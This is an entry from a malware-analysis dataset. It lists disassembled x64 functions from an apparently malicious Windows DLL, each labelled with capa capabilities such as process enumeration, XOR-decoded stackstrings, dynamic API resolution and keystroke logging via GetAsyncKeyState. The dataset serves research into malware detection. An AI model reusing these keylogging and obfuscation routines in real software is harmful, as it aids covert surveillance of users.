joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180050c50
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x160
mov rax, qword [0x180119070]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rdi, rcx
xor esi, esi
xor edx, edx
lea ecx, [rsi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
xor edx, edx
lea rcx, [rsp + 0x24]
mov r8d, Ordinal_301
mov rbx, rax
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x180050cff
nop dword [rax]
nop word [rax + rax]
lea rax, [rsp + 0x4c]
mov r8, rdi
sub r8, rax
nop dword [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x180050ce3
inc rax
test ecx, ecx
jne 0x180050cd0
test edx, edx
je 0x180050cfb
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x180050cc0
jmp 0x180050cff
mov esi, dword [rsp + 0x28]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1800dedc0
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret

Function at 0x180050d30
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x270
mov rax, qword [0x180119070]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov edx, dword [0x180124b58]
xor edi, edi
lea ecx, [rdi + 0x18]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180050dd0
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x180050dd0
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x180124ad0]
lea rax, [rsp + 0x50]
sub r8, rax
nop
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x180050db3
inc rax
test ecx, ecx
jne 0x180050da0
test edx, edx
je 0x180050dcb
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x180050d90
jmp 0x180050dd0
mov rdi, qword [rsp + 0x38]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rdi
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.1800dedc0
mov rbx, qword [rsp + 0x280]
add rsp, 0x270
pop rdi
ret
Function at 0x1800517f0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xd], 0
je 0x180051813
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xc
jb 0x180051800
mov byte [rcx + 0xd], 0
mov rax, rcx
ret

Function at 0x180051820
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x1d], 0
je 0x180051843
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x1c
jb 0x180051830
mov byte [rcx + 0x1d], 0
mov rax, rcx
ret

Function at 0x180053f90
Capabilities:
Query or enumerate registry value

Disassembly:
sub rsp, 0x168
mov rax, qword [0x180119070]
xor rax, rsp
mov qword [rsp + 0x150], rax
lea rax, [rsp + 0x40]
mov dword [rsp + 0x40], 0x2000
mov qword [rsp + 0x30], rax
mov rcx, 0xffffffff80000002
lea rax, [rsp + 0x50]
mov r9d, 1
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1800dedc0
add rsp, 0x168
ret

Function at 0x180054130
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x10], 0
je 0x180054153
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xf
jb 0x180054140
mov byte [rcx + 0x10], 0
mov rax, rcx
ret
Function at 0x180054190
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xc0
mov rax, qword [0x180119070]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov rsi, r8
mov r15, rdx
mov rdi, rcx
mov qword [rbp - 0x51], rcx
mov qword [rbp - 1], r8
xor ebx, ebx
mov dword [rbp - 0x59], ebx
mov qword [rcx], rbx
mov qword [rcx + 0x10], rbx
mov qword [rcx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rcx], bl
mov dword [rbp - 0x59], 1
call fcn.18008abd0
mov r14, rax
test rax, rax
je 0x180054353
lea rdx, [rbp - 0x21]
mov rcx, rsi
call fcn.1800728f0
mov rdx, rax
lea rcx, [rbp - 0x41]
call fcn.1800506b0
nop
lea r9d, [rbx + 5]
lea r8, str.data
mov rcx, rax
call fcn.18007e130
movups xmm0, xmmword [rax]
movups xmmword [rbp + 7], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x17], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], bl
mov dword [rbp - 0x59], 5
mov rdx, qword [rbp - 0x29]
cmp rdx, 0x10
jb 0x180054283
inc rdx
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18005427e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18005427e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800df07c
mov r8, r15
mov edx, 0x2712
mov rcx, r14
call fcn.18008d980
mov dword [rbp - 1], 0x214b5b50
mov word [rbp + 3], 0x100
lea eax, [rbx + 0x3d]
xor byte [rbp + rbx - 1], al
inc rbx
cmp rbx, 4
jb 0x1800542a0
mov byte [rbp + 4], 0
lea r8, [rbp - 1]
mov edx, 0x2722
mov rcx, r14
call fcn.18008d980
lea r8, [rbp + 7]
cmp qword [rbp + 0x1f], 0x10
cmovae r8, qword [rbp + 7]
mov edx, 0x271f
mov rcx, r14
call fcn.18008d980
lea r8, [0x180054160]
mov edx, 0x4e2b
mov rcx, r14
call fcn.18008d980
mov r8, rdi
mov edx, 0x2711
mov rcx, r14
call fcn.18008d980
mov rcx, r14
call fcn.18008ac90
mov rcx, r14
call fcn.18008abb0
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0x10
jb 0x180054353
inc rdx
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18005434d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18005434d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800df07c
nop
mov rcx, rsi
call fcn.180075a00
lea rcx, [rsi + 8]
movzx edx, byte [rsi]
call fcn.180075030
nop
mov rax, rdi
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.1800dedc0
mov rbx, qword [rsp + 0x108]
add rsp, 0xc0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret

Function at 0x180054390
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 5], 0
je 0x1800543b3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 4
jb 0x1800543a0
mov byte [rcx + 5], 0
mov rax, rcx
ret
Function at 0x1800543c0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
mov qword [rcx + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rcx], rbx
mov rbp, rdx
mov qword [rcx + 0x10], rbx
mov rdi, rcx
call fcn.18008abd0
mov rsi, rax
test rax, rax
je 0x18005447b
mov r8, rbp
mov edx, 0x2712
mov rcx, rax
call fcn.18008d980
mov dword [rsp + 0x30], 0x214b5b50
mov word [rsp + 0x34], 0x100
nop dword [rax + rax]
lea eax, [rbx + 0x3d]
xor byte [rsp + rbx + 0x30], al
inc rbx
cmp rbx, 4
jb 0x180054420
lea r8, [rsp + 0x30]
mov byte [rsp + 0x35], 0
mov edx, 0x2722
mov rcx, rsi
call fcn.18008d980
lea r8, [0x180054160]
mov edx, 0x4e2b
mov rcx, rsi
call fcn.18008d980
mov r8, rdi
mov edx, 0x2711
mov rcx, rsi
call fcn.18008d980
mov rcx, rsi
call fcn.18008ac90
mov rcx, rsi
call fcn.18008abb0
mov rbx, qword [rsp + 0x38]
mov rax, rdi
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x1800545b0
Capabilities:
Encode data using xor
Log keystrokes
Log keystrokes via polling

Disassembly:
push rbx
sub rsp, 0x140
mov rax, qword [0x180119070]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov eax, edx
mov qword [rsp + 0x20], rcx
mov rbx, rcx
xor edx, edx
mov ecx, eax
call qword [sym.imp.USER32.dll_MapVirtualKeyA]
shl eax, 0x10
mov r8d, 0x100
mov ecx, eax
lea rdx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_GetKeyNameTextA]
xor edx, edx
test eax, eax
jne 0x180054661
mov dword [rsp + 0x20], 0x2e545068
mov ecx, edx
mov dword [rsp + 0x24], 0x2d352e
mov byte [rsp + 0x28], 1
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x3d]
xor byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 7
jb 0x180054620
mov qword [rbx], rdx
lea rax, [rsp + 0x20]
mov qword [rbx + 0x10], rdx
mov r8, 0xffffffffffffffff
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], dl
mov byte [rsp + 0x28], dl
inc r8
cmp byte [rax + r8], dl
jne 0x180054651
lea rdx, [rsp + 0x20]
jmp 0x18005468e
mov qword [rbx], rdx
lea rax, [rsp + 0x30]
mov qword [rbx + 0x10], rdx
mov r8, 0xffffffffffffffff
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], dl
nop
inc r8
cmp byte [rax + r8], dl
jne 0x180054680
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.180075c60
mov rax, rbx
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.1800dedc0
add rsp, 0x140
pop rbx
ret

Function at 0x1800546c0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 8], 0
je 0x1800546e3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 7
jb 0x1800546d0
mov byte [rcx + 8], 0
mov rax, rcx
ret

Function at 0x1800547f0
Capabilities:
Log keystrokes via polling

Disassembly:
sub rsp, 0x28
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
setne al
add rsp, 0x28
ret
Function at 0x180056ab0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 6], 0
je 0x180056ad3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 5
jb 0x180056ac0
mov byte [rcx + 6], 0
mov rax, rcx
ret

Function at 0x180056ff0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x13], 0
je 0x180057013
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x12
jb 0x180057000
mov byte [rcx + 0x13], 0
mov rax, rcx
ret

Function at 0x180057020
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 3], 0
je 0x180057043
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 2
jb 0x180057030
mov byte [rcx + 3], 0
mov rax, rcx
ret

Function at 0x180057050
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xc], 0
je 0x180057073
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xb
jb 0x180057060
mov byte [rcx + 0xc], 0
mov rax, rcx
ret

Function at 0x180057080
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x14], 0
je 0x1800570a3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x13
jb 0x180057090
mov byte [rcx + 0x14], 0
mov rax, rcx
ret

Function at 0x1800570b0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xf], 0
je 0x1800570d3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xe
jb 0x1800570c0
mov byte [rcx + 0xf], 0
mov rax, rcx
ret

Function at 0x180059140
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xe], 0
je 0x180059163
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xd
jb 0x180059150
mov byte [rcx + 0xe], 0
mov rax, rcx
ret

Function at 0x180059fe0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 4], 0
je 0x18005a003
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 3
jb 0x180059ff0
mov byte [rcx + 4], 0
mov rax, rcx
ret

Function at 0x18005a010
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 7], 0
je 0x18005a033
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 6
jb 0x18005a020
mov byte [rcx + 7], 0
mov rax, rcx
ret
Function at 0x18005d310
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xa], 0
je 0x18005d333
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 9
jb 0x18005d320
mov byte [rcx + 0xa], 0
mov rax, rcx
ret

Function at 0x18005d340
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x11], 0
je 0x18005d363
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x10
jb 0x18005d350
mov byte [rcx + 0x11], 0
mov rax, rcx
ret
Function at 0x18006d0b0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x12], 0
je 0x18006d0d3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x11
jb 0x18006d0c0
mov byte [rcx + 0x12], 0
mov rax, rcx
ret

Function at 0x18006d0e0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x17], 0
je 0x18006d103
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x16
jb 0x18006d0f0
mov byte [rcx + 0x17], 0
mov rax, rcx
ret

Function at 0x18006d110
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x18], 0
je 0x18006d133
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x17
jb 0x18006d120
mov byte [rcx + 0x18], 0
mov rax, rcx
ret

Function at 0x18006d140
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x16], 0
je 0x18006d163
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x15
jb 0x18006d150
mov byte [rcx + 0x16], 0
mov rax, rcx
ret

Function at 0x18006d170
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x15], 0
je 0x18006d193
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x14
jb 0x18006d180
mov byte [rcx + 0x15], 0
mov rax, rcx
ret

Function at 0x18006d1a0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x1a], 0
je 0x18006d1c3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x19
jb 0x18006d1b0
mov byte [rcx + 0x1a], 0
mov rax, rcx
ret

Function at 0x18006d1d0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x1b], 0
je 0x18006d1f3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x1a
jb 0x18006d1e0
mov byte [rcx + 0x1b], 0
mov rax, rcx
ret

Function at 0x18006d200
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x1c], 0
je 0x18006d223
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x1b
jb 0x18006d210
mov byte [rcx + 0x1c], 0
mov rax, rcx
ret

Function at 0x18006d230
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xb], 0
je 0x18006d253
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xa
jb 0x18006d240
mov byte [rcx + 0xb], 0
mov rax, rcx
ret

Function at 0x18006d260
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x19], 0
je 0x18006d283
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x18
jb 0x18006d270
mov byte [rcx + 0x19], 0
mov rax, rcx
ret

Function at 0x18006d290
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x21], 0
je 0x18006d2b3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x20
jb 0x18006d2a0
mov byte [rcx + 0x21], 0
mov rax, rcx
ret
Function at 0x18006d2c0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x24], 0
je 0x18006d2e3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x23
jb 0x18006d2d0
mov byte [rcx + 0x24], 0
mov rax, rcx
ret
Function at 0x18006dcf0
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x280
mov rax, qword [0x180119070]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov ebx, r8d
mov rsi, rcx
mov qword [rsp + 0x28], rcx
xor eax, eax
mov dword [rsp + 0x20], eax
mov qword [rcx], rax
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rcx], al
mov dword [rsp + 0x20], 1
lea ecx, [rax + 0xf]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
mov dword [rsp + 0x30], 0x238
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x18006dda7
mov ecx, dword [rsp + 0x48]
cmp ebx, ecx
jb 0x18006dd74
add ecx, dword [rsp + 0x50]
cmp ebx, ecx
jbe 0x18006dd84
lea rdx, [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Module32Next]
jmp 0x18006dd60
lea rax, [rsp + 0x60]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x18006dd90
lea rdx, [rsp + 0x60]
mov rcx, rsi
call fcn.180075c60
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rsi
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.1800dedc0
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x18006dde0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x180119070]
xor rax, rsp
mov qword [rbp - 0x10], rax
movdqa xmm0, xmmword [0x180104520]
xor eax, eax
mov qword [rbp - 0x18], rax
mov edx, eax
mov dword [rbp - 0x20], eax
mov rbx, rcx
movdqu xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x30], 0x381b2022
mov dword [rbp - 0x2c], 0x30323723
mov word [rbp - 0x28], 0x100
nop dword [rax]
lea ecx, [rdx + 0x3d]
xor byte [rbp + rdx - 0x40], cl
inc rdx
cmp rdx, 0x18
jb 0x18006de30
mov byte [rbp - 0x27], al
mov dword [rbp - 0x50], 0x2c5b4a53
mov dword [rbp - 0x4c], 0x28276c2d
mov word [rbp - 0x48], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp - 0x46], 1
nop dword [rax + rax]
lea ecx, [rax + 0x3d]
xor byte [rbp + rax - 0x50], cl
inc rax
cmp rax, 9
jb 0x18006de60
lea rcx, [rbp - 0x50]
mov byte [rbp - 0x46], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, 8
lea rcx, [rbp - 0x20]
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x18]
mov rcx, rbx
lea edx, [r9 + 1]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.1800dedc0
mov rbx, qword [rsp + 0x98]
add rsp, 0x80
pop rbp
ret
Function at 0x180070830
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x19], 0
je 0x180070853
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x18
jb 0x180070840
mov byte [rcx + 0x19], 0
ret

Function at 0x180070860
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xb], 0
je 0x180070883
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xa
jb 0x180070870
mov byte [rcx + 0xb], 0
ret

Function at 0x180070890
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x1b], 0
je 0x1800708b3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x1a
jb 0x1800708a0
mov byte [rcx + 0x1b], 0
ret

Function at 0x1800708c0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x1a], 0
je 0x1800708e3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x19
jb 0x1800708d0
mov byte [rcx + 0x1a], 0
ret

Function at 0x1800708f0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x15], 0
je 0x180070913
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x14
jb 0x180070900
mov byte [rcx + 0x15], 0
ret

Function at 0x180070930
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xa], 0
je 0x180070953
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 9
jb 0x180070940
mov byte [rcx + 0xa], 0
ret

Function at 0x180070960
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 7], 0
je 0x180070983
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 6
jb 0x180070970
mov byte [rcx + 7], 0
ret

Function at 0x180070990
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 4], 0
je 0x1800709b3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 3
jb 0x1800709a0
mov byte [rcx + 4], 0
ret

Function at 0x1800709c0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xe], 0
je 0x1800709e3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xd
jb 0x1800709d0
mov byte [rcx + 0xe], 0
ret

Function at 0x180070e70
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xf], 0
je 0x180070e93
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xe
jb 0x180070e80
mov byte [rcx + 0xf], 0
ret

Function at 0x180070ea0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x14], 0
je 0x180070ec3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x13
jb 0x180070eb0
mov byte [rcx + 0x14], 0
ret

Function at 0x180070ed0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 3], 0
je 0x180070ef3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 2
jb 0x180070ee0
mov byte [rcx + 3], 0
ret
Function at 0x180070f00
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 6], 0
je 0x180070f23
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 5
jb 0x180070f10
mov byte [rcx + 6], 0
ret

Function at 0x180070f30
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 8], 0
je 0x180070f53
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 7
jb 0x180070f40
mov byte [rcx + 8], 0
ret

Function at 0x180070f60
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 5], 0
je 0x180070f83
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 4
jb 0x180070f70
mov byte [rcx + 5], 0
ret

Function at 0x180070fa0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xd], 0
je 0x180070fc3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x3d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xc
jb 0x180070fb0
mov byte [rcx + 0xd], 0
ret